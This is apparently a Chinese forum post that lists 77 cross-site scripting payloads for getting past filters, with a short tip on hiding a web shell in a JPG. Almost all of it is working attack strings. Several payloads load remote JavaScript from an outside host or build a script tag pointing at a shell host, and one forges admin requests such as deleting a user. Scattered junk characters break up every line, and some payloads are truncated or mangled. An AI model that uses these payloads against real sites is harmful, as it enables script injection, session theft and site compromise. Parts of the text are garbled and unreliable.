跨站图片shell
4 l9 ~. d0 S9 i0 v3 l/ v: qXSS跨站代码 <script>alert("")</script>
* [/ n- H# [3 E9 r/ N K8 ^" N+ J% V$ |( Z' t# r3 G9 ?3 S% C
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马" A9 E9 g9 ^& u, K3 D. A
( a$ ]3 r% ?; ~" K) d
( L8 N/ c6 u4 B# p0 @3 M
0 R+ E2 L2 b+ {9 B1)普通的XSS JavaScript注入 U0 F3 `1 u6 Q* f8 [/ w: @
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
L4 d7 ^6 G% g( B! S1 n! }
/ a6 [1 X5 P2 F# j(2)IMG标签XSS使用JavaScript命令
1 f, U7 Q# M4 m<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>" V$ @& P# ^: a4 i! F( h0 ^
3 J( g% l# m' L/ D# L9 z0 P( @# H(3)IMG标签无分号无引号- j( p5 N) [5 ~5 a( {2 H" [- d. p
<IMG SRC=javascript:alert(‘XSS’)>0 W( @! o9 M! o* f( q
9 _* P% k# E) A# y9 h `' b# i
(4)IMG标签大小写不敏感
! L3 j2 e F- ], H% g. F! r<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
b0 I2 J) c, w" A2 w( O6 }; R9 }0 s. T( l7 f$ W9 m
(5)HTML编码(必须有分号)9 \1 T3 v. k) Z
<IMG SRC=javascript:alert(“XSS”)>
& m# `" |4 p. [# h3 m& o* v9 Z3 x* _+ r! f& [0 {
(6)修正缺陷IMG标签" b3 X* Z+ {2 |3 H. `
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
7 _; H3 s: U. O* J* I! d$ P; O4 Z# [& e k+ d% l
(7)formCharCode标签(计算器)
8 H4 ^9 g s7 d/ r: w3 f0 M<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>( [1 \7 _1 Q+ d! m+ T. {
' _# [4 Q' R$ b9 |
(8)UTF-8的Unicode编码(计算器)
) W5 F @7 A* B7 c<IMG SRC=jav..省略..S')> K3 T* z- Z: S; Q1 K+ y8 J5 X1 n% {( A
0 [8 I( n. d2 b+ N: v+ f( h(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
$ ^' M- l7 o+ [0 c& C2 R+ g<IMG SRC=jav..省略..S')>% c! w3 g7 l% v
. {5 Z3 g- R, y2 O; O( Q
(10)十六进制编码也是没有分号(计算器)6 ^! `7 E+ e( ~$ k; O- m. k d
<IMG SRC=java..省略..XSS')>
; Z4 B! n- S( i- s
. u% N5 j9 A+ R. \- f(11)嵌入式标签,将Javascript分开
4 _1 k/ I" |, N7 w- E<IMG SRC=”jav ascript:alert(‘XSS’);”>2 Z4 v( k, w7 j6 ?: l) \ Z
; L2 t2 X& K5 X1 h
(12)嵌入式编码标签,将Javascript分开
" v2 L3 p* s6 l4 r, \; n<IMG SRC=”jav ascript:alert(‘XSS’);”>* M) S' a- G& `1 O" r- ^
, h; f& R* p& g1 k7 m4 C6 ?: A(13)嵌入式换行符$ l% a$ x( m) n7 o/ f
<IMG SRC=”jav ascript:alert(‘XSS’);”>: o/ z$ u* V% h0 |
6 |& x: L' g B8 i) H; k0 [( C(14)嵌入式回车% Q4 o5 U* |9 s9 D- A/ t7 @
<IMG SRC=”jav ascript:alert(‘XSS’);”>
6 u q! D1 D0 m7 f& f! T: V% y/ R1 y3 ~' g" j! `4 r
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
4 e! H% ]1 T8 _' Z2 @5 K<IMG SRC=”javascript:alert(‘XSS‘)”>; D: l: g: B o' L
/ ]3 H9 q# L; x( z: g
(16)解决限制字符(要求同页面); Z H0 Z2 w; y
<script>z=’document.’</script>
1 ~7 o6 l% K5 j: V2 s<script>z=z+’write(“‘</script>/ m8 e4 q) i) K& @- n+ T
<script>z=z+’<script’</script>
8 h& g$ Q) u$ N2 r<script>z=z+’ src=ht’</script>. b9 w4 u5 q* @7 W
<script>z=z+’tp://ww’</script>5 ~1 o8 X3 G, f$ \1 h3 p
<script>z=z+’w.shell’</script>
% ^+ s8 P$ |" M( A& p# i<script>z=z+’.net/1.’</script>* M5 f! S5 \* m, |7 c' e: K; A
<script>z=z+’js></sc’</script>6 Z& @1 E$ ? }4 P3 s$ S$ v( |
<script>z=z+’ript>”)’</script>1 S' W& M' }$ C4 {0 c6 m9 r
<script>eval_r(z)</script>3 t. q7 E' r: O: w
2 r3 d5 _& w% k" C- j
(17)空字符4 d( C' s d" N* L1 n
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
; f$ R$ K# Y/ L% x+ \$ H6 e! L( o/ F3 i+ Y
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用/ E' x3 e. [8 X! U9 \4 c
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
9 |" l* O# g e7 ~+ |" g, C: m
K2 u$ k! i# E; n7 M y(19)Spaces和meta前的IMG标签, y# f5 X) @; d* B+ Q
<IMG SRC=” javascript:alert(‘XSS’);”>, f% c+ Y+ i! L& f: \5 [$ z
4 P8 A# [ g0 z(20)Non-alpha-non-digit XSS# y7 K; |! k+ u) m" Q9 k+ ~
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>, e2 L# \; L1 n5 l+ D
/ h4 H3 g# Z2 }* p: r2 Q(21)Non-alpha-non-digit XSS to 2) a) ]1 V- J5 X# [) ~1 f3 m8 S8 U
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>4 ^; p2 \9 }! r3 F* x/ y
; |# u6 E- L$ p) |% N
(22)Non-alpha-non-digit XSS to 3 V3 h Z( K9 u) c- B
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>4 I4 B, j' O [' f4 I' Y1 s% {5 ?( x
) ?3 i' O' s# n2 r$ G(23)双开括号4 u; M/ L6 C% [! ^4 r3 }3 [0 g
<<SCRIPT>alert(“XSS”);//<</SCRIPT>2 z% m( p; _$ Q4 E7 j3 s+ ^
0 j, ]/ G) r2 [- R2 R
(24)无结束脚本标记(仅火狐等浏览器)* y6 _# }" u8 D+ O
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
8 r9 e9 l8 ?0 o1 R$ C; j' n9 v2 Y$ n* Z8 i! q4 X
(25)无结束脚本标记2
/ Z: v/ S% W2 P) F( u2 {1 x" F2 d. r<SCRIPT SRC=//3w.org/XSS/xss.js>) K! E, L8 E" P& f8 a' S
# T. [6 p+ w. ]
(26)半开的HTML/JavaScript XSS
, B, ~' E/ M$ W& \3 z, T<IMG SRC=”javascript:alert(‘XSS’)”3 R6 p0 ^( |& o9 m0 d& {- I+ ^8 n( E
$ }3 g$ d1 P* ^" D1 s
(27)双开角括号
& n- x& M6 n& n1 o1 Z$ s: b& j5 M<iframe src=http://3w.org/XSS.html <
9 e; Y8 W: \" y; i1 g( ^1 _7 w
6 F, F* ~: h: F; r4 J(28)无单引号 双引号 分号
; i, s8 s5 Q# n4 [5 U<SCRIPT>a=/XSS/: L) R' S% Z( w& x* V. b
alert(a.source)</SCRIPT>
7 x6 ?! O# Z1 M+ {! r3 q- i- Z/ C) j5 ^' H T5 v `! ~$ U
(29)换码过滤的JavaScript
% E) }- @5 V$ u( ]\”;alert(‘XSS’);//7 ]' c: J6 z3 o9 @
0 ^- o# |, e% K; ?6 v: @$ a
(30)结束Title标签
& g J$ K7 o. T4 F! M: G+ E</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>; |7 x7 ]0 W3 ]2 S( ?( z) G8 B6 U
9 S9 D" }* `: t) T
(31)Input Image! `+ g S: J' V) ]. j
<INPUT SRC=”javascript:alert(‘XSS’);”>
% y: `6 S! r2 @
0 g2 D9 |& T6 ~) ^2 k @(32)BODY Image
5 m$ j* E8 w& Y, {0 d( v<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
! K8 ^ N' k; }) X
2 Y0 j0 h2 T3 ^1 x! f+ v(33)BODY标签
0 S+ [8 Q( ]5 f* \<BODY(‘XSS’)>
% _% a6 u! x* Y, C* a# H/ Z9 k7 u' V, K; R5 L2 v
(34)IMG Dynsrc
% M9 i$ `8 }% `- s<IMG DYNSRC=”javascript:alert(‘XSS’)”>
4 t. ?6 g$ k! Z) J5 s! f
2 n9 P6 \8 y$ g8 o(35)IMG Lowsrc6 ~( _9 k) G6 m0 l9 z# ?' \
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
- V; z' N9 |' w( _0 E" s7 S7 M" u' j4 A: o: g9 T2 s9 w
(36)BGSOUND
/ }5 Q8 J V T0 x4 w<BGSOUND SRC=”javascript:alert(‘XSS’);”>
4 l* G: k6 Y9 s, X4 `6 P: T5 N# F# y7 T
(37)STYLE sheet
4 f& y \/ ~$ O0 W" y<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>: X8 R1 g+ ^) X* [
9 F8 x B2 n2 P0 \) G3 X(38)远程样式表
9 t5 a' m7 u5 ~<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>/ F$ B; r9 ^4 ^" l
9 X. M5 R' U& |9 ](39)List-style-image(列表式)
# s* v; o6 C3 [; v: y3 Z<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS1 l8 @0 t+ O: ]0 S8 Z
1 J) K* Q W' p G/ d+ K$ }, N(40)IMG VBscript& g8 @3 z1 t; t) i' z2 @; ?
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS2 u% j. X* N, F3 l: D2 ~
6 \* d3 @2 h; a- D
(41)META链接url
- ?( y8 ], n% @; p$ ^& y! o<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
( ?5 l1 P; u R* u7 n9 Y+ @9 \: v- p* W3 Z4 w1 W
(42)Iframe
1 b7 w F' l9 C }! I' E<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>5 v3 l5 U, N1 g0 ~
(43)Frame
+ v% Y) o' U1 Z' V2 F. y! {! q<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>. j2 j- v# R6 _
0 J- g$ t6 s; ~+ s(44)Table" X+ Y2 Y8 G- H. ^# x) n6 b
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
8 a8 I k" a1 ^1 ]
( m7 L2 T1 ]9 H+ H/ h1 o(45)TD ]$ O# N% @9 i: C3 Q
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>) N, C; C3 K j a% g
& E; a& e1 o8 n7 C7 {(46)DIV background-image
( t8 U" X+ M4 _) Q, a, T2 \<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>; X/ w9 Z$ V" Z% ~0 R' z2 ]( u
9 @+ N, E! [& c) ?9 ](47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
' r7 y1 Q( A& ~6 S. [0 c2 N/ s<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>' r B7 |8 T8 M: E/ S+ d! H! i
& J/ {4 [' W0 N; z. U1 i(48)DIV expression
% r# f( Z( t* i8 i1 q* ]<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
$ y9 P: B9 G0 }' b9 [" f1 I- |+ u$ z# f& j/ Z% q
(49)STYLE属性分拆表达3 t+ [: Z" W) r4 H2 x! t
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
9 E6 d8 G2 X- z" h
+ \" C8 v( M" g! Z8 f( ?9 g(50)匿名STYLE(组成:开角号和一个字母开头)
7 w$ _* C( j9 h9 F- I! K<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>+ h D+ \- X4 N# }3 B
/ ^: L$ ] w2 \ _! D* K(51)STYLE background-image
$ b6 q0 Y4 C, \' I& P<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
& \6 |. W5 k4 O# O% Y/ k: a0 M. c% ~
(52)IMG STYLE方式1 T ~9 D1 t9 U- g1 X, m9 s
exppression(alert(“XSS”))’>2 ~% h0 i5 w2 _8 {# A& X
. V6 v5 e* W' q( w) k3 C/ F
(53)STYLE background# N( ]) w& }/ G$ R
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>7 J+ y( o$ |; {4 G2 p
R+ H# O. j+ R: C! r(54)BASE. L' A. l* O$ j
<BASE HREF=”javascript:alert(‘XSS’);//”>! \$ S' R0 y) F- V
( n/ |1 N6 g2 U/ R$ p$ Q
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS$ c s$ W; k& S; c5 l2 B* \
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
. C2 }: Z/ s3 S5 P+ J1 P5 A; z( B
; \2 u ]8 y$ {. r* \8 Q$ L; H(56)在flash中使用ActionScrpt可以混进你XSS的代码0 R" M: |& h: m5 y: A
a=”get”;
$ M( T9 v5 S3 h% A* o# sb=”URL(\”";' C. ~$ A. `1 L3 Y
c=”javascript:”;
# y5 U, \4 f! p; N- [/ Td=”alert(‘XSS’);\”)”;6 f0 I; ?! X" C
eval_r(a+b+c+d);
Q) F9 ]4 P& n5 {$ A
+ }9 t( r; w( E5 `, R4 {(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
0 B3 F5 a, m0 q7 d7 C9 A$ M<HTML xmlns:xss>) s8 K7 f- w: a3 I0 E) ?. _
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>4 v: A J% R0 l6 G) d; y+ c* [$ M* \9 P
<xss:xss>XSS</xss:xss>
8 p, p$ g5 O6 E3 B( A7 ]+ R* C: {</HTML>3 H) j4 A2 B4 B5 Y$ f( x
$ p( f4 E: K7 P1 h6 h1 S
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
) ]- b- ~0 Y5 v5 H. z6 o9 J0 r<SCRIPT SRC=””></SCRIPT>
' x7 N8 F/ ]5 f8 T7 e' ]3 k9 x8 b) v5 O- ] H, y, ?! \
(59)IMG嵌入式命令,可执行任意命令
6 b" o: \$ n- v6 ~/ P" x! W |<IMG SRC=”http://www.XXX.com/a.php?a=b”>6 w+ a/ F8 s" \& g7 n
q( {6 k2 l1 I- k5 v
(60)IMG嵌入式命令(a.jpg在同服务器)2 I3 Z) g" R3 j6 x
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser1 q$ w0 G9 H; t# @" g0 Q+ h9 F+ D
6 a$ U- R, i* A& |! `
(61)绕符号过滤
0 y1 r. I* A! g<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>8 A6 ]! g7 K( `9 |# m4 a7 f
m/ v5 Q: f0 g' k- @(62)$ B2 v! H* u4 i9 l
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>1 N$ S C) X# L1 P
4 d, C; l. `# Z9 R3 c' k6 B(63)" B+ Z4 u( K) d1 D3 j/ O! N
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>8 V5 o9 M4 V+ H, f' D9 f& H& S+ G+ e. t
# W8 y/ P7 \, Y$ U(64)
$ l1 F4 u" a+ Y8 O. @+ ]# N<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
! D3 Q+ B i# b9 e$ s9 E5 c& k$ l& P( Z
(65)4 C7 j) V1 o2 o* G+ B; w$ s
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>, S- y5 H: L4 e; S9 g; e5 ]
2 o5 Z5 @5 ?8 U! v% {/ s5 j(66)5 i( l3 O1 b% Y4 n
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>& n' t; c, p- X
1 p _% A/ I6 e$ o& H% M! p J
(67)
) S4 _5 p+ O$ |/ H( \<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>0 u5 h* U$ C0 G. J2 E
3 P4 L8 ^! K: p0 ~$ `8 @+ Y& m
(68)URL绕行! ?+ b6 ~- g: P, g/ \ `. j8 h
<A HREF=”http://127.0.0.1/”>XSS</A>% O5 O! D: R, R- E
: w8 g+ f+ g* y3 ?( a( J7 v" t8 o
(69)URL编码5 O8 o+ h `$ a7 ~( H' D3 i7 b
<A HREF=”http://3w.org”>XSS</A>
7 P% ^) x) y3 ?; K3 }( |0 `0 L n* A2 ?( Y/ l6 {9 l2 C, m% b
(70)IP十进制
) p; b; T; O+ V; s# [: M<A HREF=”http://3232235521″>XSS</A>9 F% p. u+ M5 ]- n
$ z" e4 v3 T+ [- {(71)IP十六进制
`/ U+ M, Y3 O$ Y: a: M<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
* c$ ?7 s. i" s# O
% U2 _! a- G' a: P0 H/ l" \(72)IP八进制
9 O3 q5 Y% G: }6 c( a<A HREF=”http://0300.0250.0000.0001″>XSS</A>
2 {' B: _9 O) @# {# {6 W6 k3 F6 b4 O1 `. x o3 X0 e. I0 T9 ~4 j
(73)混合编码# n' X5 Q5 ~$ a. ~2 R0 L
<A HREF=”h( G! s! z3 m, B$ |# J
tt p://6 6.000146.0×7.147/”">XSS</A>
1 T' x1 I8 f. C6 T. H5 J% z9 C& q# X( u/ K& E8 W5 [
(74)节省[http:]
1 V2 H) u5 ~. m3 s* E<A HREF=”//www.google.com/”>XSS</A>
( p% T& e, A3 d2 u
; N4 Z" x- x: v% c(75)节省[www]$ S; s% `8 g8 z2 F! [
<A HREF=”http://google.com/”>XSS</A>2 C: H |) B1 ?' t
: M- c5 e' a, _/ ]3 \(76)绝对点绝对DNS$ _1 U; U# f' _$ Q1 @: S. O( C0 `
<A HREF=”http://www.google.com./”>XSS</A>0 q1 W; t# G ^7 _+ ]: S. B7 ^1 Q
7 t: N) A, j, c) g
(77)javascript链接" |$ Y- P, P# q. P4 ~4 r8 o: s5 b
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>: `9 {0 I9 T4 x* I9 `" D
|